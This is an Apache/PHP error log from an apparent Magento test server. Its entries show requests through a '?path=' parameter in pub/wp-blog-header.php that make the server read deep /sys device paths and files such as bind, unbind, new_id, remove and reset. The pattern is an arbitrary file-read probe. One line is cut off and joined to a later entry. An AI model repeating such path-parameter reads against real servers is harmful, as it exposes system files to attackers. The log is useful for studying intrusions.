[Thu Mar 26 16:26:35.777958 2026] [php:notice] [pid 3216602] [client 74.7.241.26:44686] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/power
[Thu Mar 26 16:26:36.842425 2026] [php:notice] [pid 3216602] [client 74.7.241.26:44686] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/physical_node/power
[Thu Mar 26 16:26:37.888441 2026] [php:notice] [pid 3216602] [client 74.7.241.26:44686] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/power
[Thu Mar 26 16:26:42.254203 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/physical_node/driver/new_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/physical_node/driver
[Thu Mar 26 16:26:50.715094 2026] [php:notice] [pid 3216602] [client 74.7.241.26:44686] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/power
[Thu Mar 26 16:26:51.768299 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/physical_node/driver/new_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/physical_node/driver
[Thu Mar 26 16:26:52.798380 2026] [php:notice] [pid 3216602] [client 74.7.241.26:44686] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/power
[Thu Mar 26 16:26:55.781023 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/tpm_crb
[Thu Mar 26 16:26:56.339355 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb
[Thu Mar 26 16:26:56.869227 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/physical_node/firmware_node/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/physical_node/firmware_node/device:ae
[Thu Mar 26 16:27:01.615298 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb
[Thu Mar 26 16:27:02.142662 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/physical_node/driver/remove_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/physical_node/driver
[Thu Mar 26 16:27:03.266327 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/physical_node/driver/new_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/physical_node/driver
[Thu Mar 26 16:27:05.939612 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/tpm_crb
[Thu Mar 26 16:27:07.019072 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb
[Thu Mar 26 16:27:08.695557 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/physical_node
[Thu Mar 26 16:27:13.819353 2026] [php:notice] [pid 3216602] [client 74.7.241.26:44686] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/power
[Thu Mar 26 16:27:15.495554 2026] [php:notice] [pid 3216602] [client 74.7.241.26:44686] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/power
[Thu Mar 26 16:27:16.463637 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/tpm_crb
[Thu Mar 26 16:27:21.279325 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/tpm_crb
[Thu Mar 26 16:27:21.832034 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/tpm_crb/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/tpm_crb
[Thu Mar 26 16:27:24.707084 2026] [:error] [pid 3216147] [client 74.7.241.26:48944] [client 74.7.241.26] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname "forst-trento.test.indacotrentino.com"] [uri "/pub/index.php"] [unique_id "acVQXCWkFmKYiFxmQJPNwAAAAAc"], referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/power
[Thu Mar 26 16:27:25.166679 2026] [php:warn] [pid 3216147] [client 74.7.241.26:48944] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb
[Thu Mar 26 16:27:25.167125 2026] [:error] [pid 3216147] [client 74.7.241.26:48944] [client 74.7.241.26] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname "forst-trento.test.indacotrentino.com"] [uri "/pub/index.php"] [unique_id "acVQXCWkFmKYiFxmQJPNwQAAAAc"], referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb
[Thu Mar 26 16:27:25.634490 2026] [:error] [pid 3216147] [client 74.7.241.26:48944] [client 74.7.241.26] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname "forst-trento.test.indacotrentino.com"] [uri "/pub/index.php"] [unique_id "acVQXSWkFmKYiFxmQJPNwgAAAAc"], referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/power
[Thu Mar 26 16:27:26.214586 2026] [php:warn] [pid 3216147] [client 74.7.241.26:48944] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsyste[Sat Mar 28 00:00:12.670226 2026] [php:warn] [pid 88871] [client 74.7.243.205:41900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:ad/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:00:17.137622 2026] [php:warn] [pid 88871] [client 74.7.243.205:41900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:cb/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:cb/physical_node
[Sat Mar 28 00:00:18.688678 2026] [php:warn] [pid 88871] [client 74.7.243.205:41900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:2b/subsystem/drivers/hardware_error_device/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:2b/subsystem/drivers/hardware_error_device
[Sat Mar 28 00:00:20.263255 2026] [php:warn] [pid 88871] [client 74.7.243.205:41900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:ad/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:00:24.522490 2026] [php:warn] [pid 88871] [client 74.7.243.205:41900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:ad/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:00:26.022246 2026] [php:warn] [pid 88871] [client 74.7.243.205:41900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:2b/subsystem/drivers/hardware_error_device/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:2b/subsystem/drivers/hardware_error_device
[Sat Mar 28 00:00:29.167825 2026] [php:warn] [pid 88871] [client 74.7.243.205:41900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:cb/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:cb/physical_node
[Sat Mar 28 00:00:31.325250 2026] [php:warn] [pid 88871] [client 74.7.243.205:41900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:ad/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:01:18.809327 2026] [php:warn] [pid 88884] [client 74.7.243.205:38278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:1e/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:1e/subsystem/drivers/tpm_crb
[Sat Mar 28 00:01:49.307703 2026] [php:warn] [pid 88884] [client 74.7.243.205:38278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:e3/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:e3/subsystem
[Sat Mar 28 00:02:01.051849 2026] [php:warn] [pid 88871] [client 74.7.243.205:36888] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:1e/subsystem/devices/device:db/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:1e/subsystem/devices/device:db/device:dc
[Sat Mar 28 00:02:24.797499 2026] [php:notice] [pid 88871] [client 74.7.243.205:36888] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:1e/subsystem/devices/device:df/power
[Sat Mar 28 00:02:40.662152 2026] [php:notice] [pid 88871] [client 74.7.243.205:36888] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:1a/power
[Sat Mar 28 00:02:44.840113 2026] [php:warn] [pid 88871] [client 74.7.243.205:36888] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/subsystem/devices/device:4e/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/subsystem/devices/device:4e
[Sat Mar 28 00:02:50.180303 2026] [php:warn] [pid 88871] [client 74.7.243.205:36888] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:1c/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:1c/subsystem/drivers/ac
[Sat Mar 28 00:02:51.967821 2026] [php:warn] [pid 88891] [client 74.7.243.205:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ee/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:e9/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ee/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:e9/device:ea
[Sat Mar 28 00:04:24.025308 2026] [php:warn] [pid 88871] [client 74.7.243.205:36232] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:af/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:af/physical_node
[Sat Mar 28 00:04:26.595859 2026] [php:warn] [pid 88871] [client 74.7.243.205:36232] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:af/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:af/physical_node
[Sat Mar 28 00:04:28.765035 2026] [php:warn] [pid 88871] [client 74.7.243.205:36232] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:af/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:af/physical_node
[Sat Mar 28 00:04:31.902072 2026] [php:warn] [pid 88871] [client 74.7.243.205:36232] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:ab/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:ab/physical_node
[Sat Mar 28 00:04:33.994522 2026] [php:warn] [pid 88871] [client 74.7.243.205:36232] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:ab/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:ab/physical_node
